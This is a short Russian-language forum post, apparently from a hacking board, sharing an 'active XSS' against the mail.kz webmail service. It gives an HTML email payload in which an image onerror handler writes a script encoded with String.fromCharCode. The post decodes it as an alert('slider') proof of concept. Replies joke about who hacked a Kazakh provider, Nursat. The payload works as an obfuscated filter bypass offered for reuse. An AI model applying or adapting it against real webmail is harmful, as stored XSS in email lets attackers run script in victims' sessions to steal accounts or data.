mail.kz [Active XSS]

Может кому нить пригодится....

Отправляем письмо в html формате с содержанием:

HTML:

<image src="" onerror=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,34,115,108,105,100,101,114,34,41,60,47,115,99,114,105,112,116,62))>

в чаре:

HTML:

60,115,99,114,105,112,116,62,97,108,101,114,116,
40,34,115,108,105,100,101,114,34,41,60,47,115,99,114,105,112,116,62

следующее:

HTML:

<script>alert("slider")</script>

 

вспоминается "скандал" с нурсатом, это твоих рук дело? =\

 

это не его рук дело, ломанул нурсат чатти2

 

кто это сказал?

 

я это сказал=)